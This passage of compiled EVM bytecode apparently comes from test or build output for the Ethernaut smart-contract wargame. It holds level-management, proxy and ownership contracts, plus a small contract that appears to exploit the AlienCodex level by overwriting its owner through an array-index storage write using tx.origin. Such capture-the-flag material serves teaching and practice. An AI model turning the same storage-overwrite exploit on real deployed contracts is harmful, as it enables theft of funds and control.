5565b50505f910152565b5f815180845262001d3081602086016020860162001cf3565b601f01601f19169290920160200192915050565b602080825282518282018190525f919060409081850190600581811b87018401888601875b8481101562001df857603f198a8403018652815180516001600160a01b03168452880151888401889052805188850181905290890190606081871b8601810191908601905f5b8181101562001de157605f1988850301835262001dce84865162001d17565b948d01949350918c019160010162001daf565b505050968901969350509087019060010162001d69565b50909998505050505050505050565b5f60208083018184528085518083526040925060408601915060408160051b8701018488015f5b8381101562001ec657888303603f19018552815180516001600160a01b031684528701518784018790528051878501819052908801905f9060608601905b8083101562001eb05783517fffffffff00000000000000000000000000000000000000000000000000000000168252928a019260019290920191908a019062001e6c565b5096890196945050509086019060010162001e2e565b509098975050505050505050565b5f6020828403121562001ee5575f80fd5b5035919050565b5f60208083016020845280855180835260408601915060408160051b8701019250602087015f5b8281101562001f4557603f1988860301845262001f3285835162001d17565b9450928501929085019060010162001f13565b5092979650505050505050565b5f6020828403121562001f63575f80fd5b813562001a198162001b2a565b5f806040838503121562001f82575f80fd5b823562001f8f8162001b2a565b9150602083013562001fa18162001b2a565b809150509250929050565b634e487b7160e01b5f52603260045260245ffd5b5f67ffffffffffffffff82111562001fdc5762001fdc62001bd3565b5060051b60200190565b5f62001ff662001cbb8462001c47565b90508281528383830111156200200a575f80fd5b62001a1983602083018462001cf3565b5f82601f8301126200202a575f80fd5b62001a198383516020850162001fe6565b8051620020488162001b2a565b919050565b5f60208083850312156200205f575f80fd5b825167ffffffffffffffff8082111562002077575f80fd5b818501915085601f8301126200208b575f80fd5b81516200209c62001cbb8262001fc0565b81815260059190911b83018401908481019088831115620020bb575f80fd5b8585015b83811015620021bc57805185811115620020d7575f80fd5b86016060818c03601f19011215620020ed575f80fd5b620020f762001be7565b888201518781111562002108575f80fd5b8201603f81018d1362002119575f80fd5b898101516200212c62001cbb8262001fc0565b81815260059190911b8201604001908b8101908f8311156200214c575f80fd5b6040840193505b828410156200216e5783518252928c0192908c019062002153565b845250505060408201518781111562002185575f80fd5b620021958d8b838601016200201a565b8a83015250620021a8606083016200203b565b6040820152845250918601918601620020bf565b5098975050505050505050565b634e487b7160e01b5f52601160045260245ffd5b81810381811115620016645762001664620021c9565b5f6020828403121562002204575f80fd5b815167ffffffffffffffff8111156200221b575f80fd5b8201601f810184136200222c575f80fd5b6200223d8482516020840162001fe6565b949350505050565b7f2f6f75742f00000000000000000000000000000000000000000000000000000081525f83516200227e81600585016020880162001cf3565b7f2e736f6c2f0000000000000000000000000000000000000000000000000000006005918401918201528351620022bd81600a84016020880162001cf3565b7f2e6a736f6e000000000000000000000000000000000000000000000000000000600a9290910191820152600f01949350505050565b5f83516200230681846020880162001cf3565b8351908301906200231c81836020880162001cf3565b01949350505050565b602081525f62001a19602083018462001d17565b600181811c908216806200234e57607f821691505b6020821081036200236d57634e487b7160e01b5f52602260045260245ffd5b50919050565b5f6020828403121562002384575f80fd5b815162001a198162001b2a565b5f60208284031215620023a2575f80fd5b5051919050565b80820180821115620016645762001664620021c9565b604081525f620023d3604083018562001d17565b8281036020840152620023e7818562001d17565b95945050505050565b5f6020828403121562002401575f80fd5b815167ffffffffffffffff81111562002418575f80fd5b6200223d848285016200201a56fe608060405234801561000f575f80fd5b5061028a8061001d5f395ff3fe608060405234801561000f575f80fd5b5060043610610029575f3560e01c80630aeb4ddf1461002d575b5f80fd5b61004061003b3660046101c1565b610042565b005b5f8190508073ffffffffffffffffffffffffffffffffffffffff1663328b52cb6040518163ffffffff1660e01b81526004015f604051808303815f87803b15801561008b575f80fd5b505af115801561009d573d5f803e3d5ffd5b505050508073ffffffffffffffffffffffffffffffffffffffff166347f57b326040518163ffffffff1660e01b81526004015f604051808303815f87803b1580156100e6575f80fd5b505af11580156100f8573d5f803e3d5ffd5b5050604080516001602080830191909152825180830382018152918301909252805191012091505073ffffffffffffffffffffffffffffffffffffffff8216630339f300610147835f19610228565b610152906001610241565b60405160e083901b7fffffffff0000000000000000000000000000000000000000000000000000000016815260048101919091523260248201526044015f604051808303815f87803b1580156101a6575f80fd5b505af11580156101b8573d5f803e3d5ffd5b50505050505050565b5f602082840312156101d1575f80fd5b813573ffffffffffffffffffffffffffffffffffffffff811681146101f4575f80fd5b9392505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b8181038181111561023b5761023b6101fb565b92915050565b8082018082111561023b5761023b6101fb56fea26469706673582212209773b40f324496206a841569b9a82c562e92131aaa0dbd1db5e6eb2d3ccfa0c464736f6c63430008180033608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610a6b8061007a5f395ff3fe6080604052600436106100ad575f3560e01c8063be117dfd11610066578063cf0046951161004c578063cf004695146101eb578063dfc86b1714610229578063f2fde38b1461023c575f80fd5b8063be117dfd146101ad578063c882d7c2146101cc575f80fd5b8063715018a611610096578063715018a61461014a5780638da5cb5b1461015e57806395e272bd1461018e575f80fd5b8063202023d4146100b15780634f17afd8146100d2575b5f80fd5b3480156100bc575f80fd5b506100d06100cb3660046109d9565b61025b565b005b3480156100dd575f80fd5b5061011d6100ec3660046109d9565b60036020525f9081526040902080546001909101546001600160a01b0391821691811690600160a01b900460ff1683565b604080516001600160a01b0394851681529390921660208401521515908201526060015b60405180910390f35b348015610155575f80fd5b506100d06102f6565b348015610169575f80fd5b505f546001600160a01b03165b6040516001600160a01b039091168152602001610141565b348015610199575f80fd5b50600154610176906001600160a01b031681565b3480156101b8575f80fd5b506100d06101c73660046109d9565b610309565b3480156101d7575f80fd5b506100d06101e63660046109d9565b610340565b3480156101f6575f80fd5b506102196102053660046109d9565b60026020525f908152604090205460ff1681565b6040519015158152602001610141565b6100d06102373660046109d9565b610642565b348015610247575f80fd5b506100d06102563660046109d9565b610880565b610263610910565b6001600160a01b038181165f8181526002602052604090819020805460ff191660019081179091555490517fcd819a6f00000000000000000000000000000000000000000000000000000000815260048101929092529091169063cd819a6f906024015f604051808303815f87803b1580156102dd575f80fd5b505af11580156102ef573d5f803e3d5ffd5b5050505050565b6102fe610910565b6103075f610969565b565b610311610910565b6001805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b6001600160a01b038082165f908152600360205260409020805490911633146103d65760405162461bcd60e51b815260206004820152603060248201527f5468697320696e7374616e636520646f65736e27742062656c6f6e6720746f2060448201527f7468652063757272656e7420757365720000000000000000000000000000000060648201526084015b60405180910390fd5b6001810154600160a01b900460ff16156104325760405162461bcd60e51b815260206004820181905260248201527f4c6576656c20686173206265656e20636f6d706c6574656420616c726561647960448201526064016103cd565b60018101546040517fd38def5b0000000000000000000000000000000000000000000000000000000081526001600160a01b0384811660048301523360248301529091169063d38def5b906044016020604051808303815f875af115801561049c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104c091906109fb565b156105b95760018181018054600160a01b7fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff82161790915590546040517f2c038c320000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301529283166024820152336044820152911690632c038c32906064015f604051808303815f87803b158015610561575f80fd5b505af1158015610573573d5f803e3d5ffd5b5050505060018101546040516001600160a01b039182169184169033907f5038a30b900118d4e513ba62ebd647a96726a6f81b8fda73c21e9da45df5423d905f90a45050565b60018054908201546040517fd0f191e00000000000000000000000000000000000000000000000000000000081526001600160a01b038581166004830152918216602482015233604482015291169063d0f191e0906064015f604051808303815f87803b158015610628575f80fd5b505af115801561063a573d5f803e3d5ffd5b505050505050565b6001600160a01b0381165f9081526002602052604090205460ff166106a95760405162461bcd60e51b815260206004820152601960248201527f54686973206c6576656c20646f65736e2774206578697374730000000000000060448201526064016103cd565b6040517f7726f7760000000000000000000000000000000000000000000000000000000081523360048201525f906001600160a01b03831690637726f77690349060240160206040518083038185885af1158015610709573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061072e9190610a1a565b60408051606081018252338082526001600160a01b0386811660208085018281525f8688018181528986168083526003909452908890209651875473ffffffffffffffffffffffffffffffffffffffff191690861617875590516001968701805492519186167fffffffffffffffffffffff00000000000000000000000000000000000000000090931692909217600160a01b91151591909102179055935494517f7e4326d3000000000000000000000000000000000000000000000000000000008152600481019490945260248401526044830191909152929350911690637e4326d3906064015f604051808303815f87803b15801561082d575f80fd5b505af115801561083f573d5f803e3d5ffd5b50506040516001600160a01b0380861693508416915033907f8be8bd7b4324b3d47aca5c3f64cb70e8f645e6fe94da668699951658f6384179905f90a45050565b610888610910565b6001600160a01b0381166109045760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016103cd565b61090d81610969565b50565b5f546001600160a01b031633146103075760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103cd565b5f80546001600160a01b0383811673ffffffffffffffffffffffffffffffffffffffff19831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b038116811461090d575f80fd5b5f602082840312156109e9575f80fd5b81356109f4816109c5565b9392505050565b5f60208284031215610a0b575f80fd5b815180151581146109f4575f80fd5b5f60208284031215610a2a575f80fd5b81516109f4816109c556fea2646970667358221220f875e80df3dbb1bbf8a1ba93e5adadf18e3885d13abc24020d489fb4c369f37264736f6c63430008180033608060405234801561000f575f80fd5b50611e5d8061001d5f395ff3fe608060405234801561000f575f80fd5b50600436106101bb575f3560e01c80639cbf280d116100f3578063d0f191e011610093578063e2d8716f1161006e578063e2d8716f146103ca578063f3a39909146103dd578063f71d96cb14610408578063fb66d7ab1461041b575f80fd5b8063d0f191e014610391578063d844f6a4146103a4578063e041ae9b146103b7575f80fd5b8063ba5d8082116100ce578063ba5d80821461031d578063bc3086a214610358578063c4d66de81461036b578063cd819a6f1461037e575f80fd5b80639cbf280d146102c7578063a7e1acdf146102da578063b2596a671461030a575f80fd5b80637cbe8d041161015e5780637e4326d3116101395780637e4326d3146102865780638b146ad6146102995780638dc03535146102ac578063900f09ac146102bf575f80fd5b80637cbe8d041461026e5780637ceb9533146102765780637e0ca04f1461027e575f80fd5b80633aa46685116101995780633aa466851461020d5780633d9aeaef14610235578063763fdb45146102485780637a9b6dda1461025b575f80fd5b806322ae77ec146101bf5780632c038c32146101e557806336204198146101fa575b5f80fd5b6101d26101cd366004611cab565b610423565b6040519081526020015b60405180910390f35b6101f86101f3366004611cdc565b61054f565b005b6101d2610208366004611d1c565b6109b1565b6101d261021b366004611d1c565b6001600160a01b03165f9081526010602052604090205490565b6101d2610243366004611d1c565b610a2d565b6101d2610256366004611d1c565b610aab565b6101d2610269366004611d1c565b610b27565b6003546101d2565b6005546101d2565b6002546101d2565b6101f8610294366004611cdc565b610ba3565b6101d26102a7366004611d1c565b610f29565b6101d26102ba366004611cab565b610fa5565b6004546101d2565b6101d26102d5366004611d1c565b611125565b5f546102f2906201000090046001600160a01b031681565b6040516001600160a01b0390911681526020016101dc565b6102f2610318366004611d35565b6111a0565b61034861032b366004611d1c565b6001600160a01b03165f908152600e602052604090205460ff1690565b60405190151581526020016101dc565b6101d2610366366004611d1c565b6111c8565b6101f8610379366004611d1c565b611257565b6101f861038c366004611d1c565b6113a1565b6101f861039f366004611cdc565b6114f0565b6101d26103b2366004611d4c565b61183e565b6101d26103c5366004611d1c565b6119c6565b6103486103d8366004611cab565b611a44565b6103486103eb366004611d1c565b6001600160a01b03165f908152600f602052604090205460ff1690565b6102f2610416366004611d35565b611b3f565b6001546101d2565b6001600160a01b0381165f908152600e6020526040812054829060ff166104885760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b60448201526064015b60405180910390fd5b836104aa816001600160a01b03165f908152600f602052604090205460ff1690565b6104ec5760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038481165f908152600d6020908152604080832089851684529091529020541661051d575f610546565b6001600160a01b038085165f908152600d60209081526040808320938916835292905220600301545b95945050505050565b5f546201000090046001600160a01b031633146105bc5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b816105de816001600160a01b03165f908152600f602052604090205460ff1690565b6106205760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b81610642816001600160a01b03165f908152600e602052604090205460ff1690565b6106855760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b6001600160a01b038381165f908152600d602090815260408083208885168452909152902054166107065760405162461bcd60e51b815260206004820152602560248201527f496e7374616e636520666f7220746865206c6576656c206973206e6f7420637260448201526419585d195960da1b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832088851684529091529020548116908616146107905760405162461bcd60e51b815260206004820152602960248201527f5375626d697474656420696e7374616e6365206973206e6f74207468652063726044820152686561746564206f6e6560b81b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832093881683529290522054600160a01b900460ff161561080c5760405162461bcd60e51b815260206004820152601760248201527f4c6576656c20616c726561647920636f6d706c65746564000000000000000000604482015260640161047f565b6001600160a01b038084165f908152600c6020908152604080832093881683529290529081205490036108df576001600160a01b0383165f90815260066020526040812080549161085c83611d99565b90915550506001600160a01b038084165f818152600c602090815260408083209489168352938152838220429055918152600690915290812054906108a2858784611b4e565b90508181866001600160a01b03167f18f89fb58208351d054bc0794e723a333ae0a74acd73825a9f31d89af0c6755160405160405180910390a450505b6001600160a01b038084165f908152600d6020908152604080832093881680845293825280832060038101805460018181018355918652848620429101819055600283015594845280547fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff16600160a01b179055600a909152812090910180549161096983611d99565b909155505060048054905f61097d83611d99565b90915550506001600160a01b0383165f9081526008602052604081208054916109a583611d99565b91905055505050505050565b6001600160a01b0381165f908152600e6020526040812054829060ff16610a115760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526006602052604090205490565b6001600160a01b0381165f908152600f6020526040812054829060ff16610a8c5760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090206001015490565b6001600160a01b0381165f908152600e6020526040812054829060ff16610b0b5760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526008602052604090205490565b6001600160a01b0381165f908152600e6020526040812054829060ff16610b875760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526009602052604090205490565b5f546201000090046001600160a01b03163314610c105760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b81610c32816001600160a01b03165f908152600f602052604090205460ff1690565b610c745760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b0382165f908152600e602052604090205460ff16610d00576001805480820182557fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf601805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0385169081179091555f908152600e60205260409020805460ff191690911790555b6001600160a01b038281165f908152600d60209081526040808320878516845290915290205416610d53576001600160a01b038083165f908152600b602090815260408083209387168352929052204290555b6040805160a0810182526001600160a01b0380871682525f60208084018290524284860152606084018290528683168252600d815284822092881682529190915291822060030154909160808301919003610dbb57604080515f815260208101909152610e2b565b6001600160a01b038085165f908152600d6020908152604080832093891683529281529082902060030180548351818402810184019094528084529091830182828015610e2557602002820191905f5260205f20905b815481526020019060010190808311610e11575b50505050505b90526001600160a01b038084165f908152600d60209081526040808320888516845282529182902084518154868401511515600160a01b027fffffffffffffffffffffff00000000000000000000000000000000000000000090911691909516179390931783559083015160018301556060830151600283015560808301518051610ebc9260038501920190611c33565b5050506001600160a01b0383165f908152600a60205260408120805491610ee283611d99565b909155505060038054905f610ef683611d99565b90915550506001600160a01b0382165f908152600760205260408120805491610f1e83611d99565b919050555050505050565b6001600160a01b0381165f908152600e6020526040812054829060ff16610f895760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526007602052604090205490565b6001600160a01b0382165f908152600e6020526040812054839060ff166110055760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b82611027816001600160a01b03165f908152600f602052604090205460ff1690565b6110695760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038086165f908152600c6020908152604080832093881683529290529081205490036110de5760405162461bcd60e51b815260206004820152601360248201527f4c6576656c206e6f7420636f6d706c6574656400000000000000000000000000604482015260640161047f565b6001600160a01b038086165f818152600b6020908152604080832094891680845294825280832054938352600c825280832094835293905291909120546105469190611db1565b6001600160a01b0381165f908152600f6020526040812054829060ff166111845760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090205490565b600281815481106111af575f80fd5b5f918252602090912001546001600160a01b0316905081565b6001600160a01b0381165f908152600e6020526040812054829060ff166112285760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b600254611234846109b1565b61124690670de0b6b3a7640000611dca565b6112509190611de1565b9392505050565b5f54610100900460ff161580801561127557505f54600160ff909116105b8061128e5750303b15801561128e57505f5460ff166001145b6113005760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201527f647920696e697469616c697a6564000000000000000000000000000000000000606482015260840161047f565b5f805460ff191660011790558015611321575f805461ff0019166101001790555b5f80547fffffffffffffffffffff0000000000000000000000000000000000000000ffff16620100006001600160a01b03851602179055801561139d575f805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b5050565b806113c3816001600160a01b03165f908152600f602052604090205460ff1690565b156114105760405162461bcd60e51b815260206004820152601460248201527f4c6576656c20616c726561647920657869737473000000000000000000000000604482015260640161047f565b5f546201000090046001600160a01b0316331461147d5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b506001600160a01b03165f818152600f60205260408120805460ff191660019081179091556002805491820181559091527f405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace01805473ffffffffffffffffffffffffffffffffffffffff19169091179055565b5f546201000090046001600160a01b0316331461155d5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b8161157f816001600160a01b03165f908152600f602052604090205460ff1690565b6115c15760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b816115e3816001600160a01b03165f908152600e602052604090205460ff1690565b6116265760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b6001600160a01b038381165f908152600d602090815260408083208885168452909152902054166116a75760405162461bcd60e51b815260206004820152602560248201527f496e7374616e636520666f7220746865206c6576656c206973206e6f7420637260448201526419585d195960da1b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832088851684529091529020548116908616146117315760405162461bcd60e51b815260206004820152602960248201527f5375626d697474656420696e7374616e6365206973206e6f74207468652063726044820152686561746564206f6e6560b81b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832093881683529290522054600160a01b900460ff16156117ad5760405162461bcd60e51b815260206004820152601760248201527f4c6576656c20616c726561647920636f6d706c65746564000000000000000000604482015260640161047f565b6001600160a01b038084165f908152600d60209081526040808320938816808452938252808320600301805460018101825590845282842042910155928252600a905290812060020180549161180283611d99565b909155505060058054905f61181683611d99565b90915550506001600160a01b0383165f9081526009602052604081208054916109a583611d99565b6001600160a01b0383165f908152600e6020526040812054849060ff1661189e5760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b836118c0816001600160a01b03165f908152600f602052604090205460ff1690565b6119025760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038087165f908152600d60209081526040808320938916835292905220600301548411156119795760405162461bcd60e51b815260206004820152601060248201527f496e646578206f7574626f756e64656400000000000000000000000000000000604482015260640161047f565b6001600160a01b038087165f908152600d602090815260408083209389168352929052206003018054859081106119b2576119b2611e00565b905f5260205f200154925050509392505050565b6001600160a01b0381165f908152600f6020526040812054829060ff16611a255760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090206002015490565b6001600160a01b0382165f908152600e6020526040812054839060ff16611aa45760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b82611ac6816001600160a01b03165f908152600f602052604090205460ff1690565b611b085760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b5050506001600160a01b039182165f908152600d60209081526040808320939094168252919091522054600160a01b900460ff1690565b600181815481106111af575f80fd5b6001600160a01b038084165f81815260106020908152604080832054600b835281842095881680855295835281842054948452600c83528184209584529490915281205490929183918291611ba291611db1565b6001600160a01b0388165f9081526010602052604081205491925003611be1576001600160a01b0387165f908152601060205260409020819055611c29565b8481611bee600183611db1565b611bf89086611dca565b611c029190611e14565b611c0c9190611de1565b6001600160a01b0388165f90815260106020526040902081905591505b5095945050505050565b828054828255905f5260205f20908101928215611c6c579160200282015b82811115611c6c578251825591602001919060010190611c51565b50611c78929150611c7c565b5090565b5b80821115611c78575f8155600101611c7d565b80356001600160a01b0381168114611ca6575f80fd5b919050565b5f8060408385031215611cbc575f80fd5b611cc583611c90565b9150611cd360208401611c90565b90509250929050565b5f805f60608486031215611cee575f80fd5b611cf784611c90565b9250611d0560208501611c90565b9150611d1360408501611c90565b90509250925092565b5f60208284031215611d2c575f80fd5b61125082611c90565b5f60208284031215611d45575f80fd5b5035919050565b5f805f60608486031215611d5e575f80fd5b611d6784611c90565b9250611d7560208501611c90565b9150604084013590509250925092565b634e487b7160e01b5f52601160045260245ffd5b5f60018201611daa57611daa611d85565b5060010190565b81810381811115611dc457611dc4611d85565b92915050565b8082028115828204841417611dc457611dc4611d85565b5f82611dfb57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b80820180821115611dc457611dc4611d8556fea264697066735822122066af37f02a1e446ad91bfc4bf9b0dd5322bb220097108143b357e6128534eb5464736f6c63430008180033608060405234801562000010575f80fd5b5060405162000daa38038062000daa83398101604081905262000033916200042b565b6040516001600160a01b03821660248201528390839060440160408051601f198184030181529190526020810180516001600160e01b0390811663189acdbd60e31b17909152839082906200008f90839083905f90620000a916565b506200009d905082620000da565b505050505050620004e7565b620000b4836200014b565b5f82511180620000c15750805b15620000d557620000d383836200018c565b505b505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6200011b5f8051602062000d63833981519152546001600160a01b031690565b604080516001600160a01b03928316815291841660208301520160405180910390a16200014881620001bb565b50565b620001568162000258565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b905f90a250565b6060620001b4838360405180606001604052806027815260200162000d8360279139620002ef565b9392505050565b6001600160a01b038116620002265760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b805f8051602062000d638339815191525b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b620002c75760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016200021d565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc62000237565b60606001600160a01b0384163b620003595760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016200021d565b5f80856001600160a01b03168560405162000375919062000496565b5f60405180830381855af49150503d805f8114620003af576040519150601f19603f3d011682016040523d82523d5f602084013e620003b4565b606091505b509092509050620003c7828286620003d1565b9695505050505050565b60608315620003e2575081620001b4565b825115620003f35782518084602001fd5b8160405162461bcd60e51b81526004016200021d9190620004b3565b80516001600160a01b038116811462000426575f80fd5b919050565b5f805f606084860312156200043e575f80fd5b62000449846200040f565b925062000459602085016200040f565b915062000469604085016200040f565b90509250925092565b5f5b838110156200048e57818101518382015260200162000474565b50505f910152565b5f8251620004a981846020870162000472565b9190910192915050565b602081525f8251806020840152620004d381604085016020870162000472565b601f01601f19169190910160400192915050565b61086e80620004f55f395ff3fe60806040526004361061005d575f3560e01c80635c60da1b116100425780635c60da1b146100a65780638f283970146100d6578063f851a440146100f55761006c565b80633659cfe6146100745780634f1ef286146100935761006c565b3661006c5761006a610109565b005b61006a610109565b34801561007f575f80fd5b5061006a61008e36600461070d565b610123565b61006a6100a1366004610726565b61015e565b3480156100b1575f80fd5b506100ba6101c4565b6040516001600160a01b03909116815260200160405180910390f35b3480156100e1575f80fd5b5061006a6100f036600461070d565b6101f4565b348015610100575f80fd5b506100ba610214565b610111610234565b61012161011c6102e4565b6102ed565b565b61012b61030b565b6001600160a01b03163303610156576101538160405180602001604052805f8152505f61033d565b50565b610153610109565b61016661030b565b6001600160a01b031633036101bc576101b78383838080601f0160208091040260200160405190810160405280939291908181526020018383808284375f920191909152506001925061033d915050565b505050565b6101b7610109565b5f6101cd61030b565b6001600160a01b031633036101e9576101e46102e4565b905090565b6101f1610109565b90565b6101fc61030b565b6001600160a01b031633036101565761015381610367565b5f61021d61030b565b6001600160a01b031633036101e9576101e461030b565b61023c61030b565b6001600160a01b031633036101215760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f7879207461726760648201527f6574000000000000000000000000000000000000000000000000000000000000608482015260a4015b60405180910390fd5b5f6101e46103bb565b365f80375f80365f845af43d5f803e808015610307573d5ff35b3d5ffd5b5f7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b610346836103e2565b5f825111806103525750805b156101b7576103618383610421565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61039061030b565b604080516001600160a01b03928316815291841660208301520160405180910390a16101538161044d565b5f7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc61032e565b6103eb81610525565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b905f90a250565b60606104468383604051806060016040528060278152602001610812602791396105c9565b9392505050565b6001600160a01b0381166104c95760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016102db565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b039290921691909117905550565b6001600160a01b0381163b6105a25760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201527f6f74206120636f6e74726163740000000000000000000000000000000000000060648201526084016102db565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104ec565b60606001600160a01b0384163b6106485760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f60448201527f6e7472616374000000000000000000000000000000000000000000000000000060648201526084016102db565b5f80856001600160a01b03168560405161066291906107c4565b5f60405180830381855af49150503d805f811461069a576040519150601f19603f3d011682016040523d82523d5f602084013e61069f565b606091505b50915091506106af8282866106b9565b9695505050505050565b606083156106c8575081610446565b8251156106d85782518084602001fd5b8160405162461bcd60e51b81526004016102db91906107df565b80356001600160a01b0381168114610708575f80fd5b919050565b5f6020828403121561071d575f80fd5b610446826106f2565b5f805f60408486031215610738575f80fd5b610741846106f2565b9250602084013567ffffffffffffffff8082111561075d575f80fd5b818601915086601f830112610770575f80fd5b81358181111561077e575f80fd5b87602082850101111561078f575f80fd5b6020830194508093505050509250925092565b5f5b838110156107bc5781810151838201526020016107a4565b50505f910152565b5f82516107d58184602087016107a2565b9190910192915050565b602081525f82518060208401526107fd8160408501602087016107a2565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a26469706673582212203e1cf275377e8bb61cf9b931569a705adcb93eec1d89a2b1d063e39d5340117464736f6c63430008180033b53127684a568b3173ae13b9f8a6016e243e63b6e8ee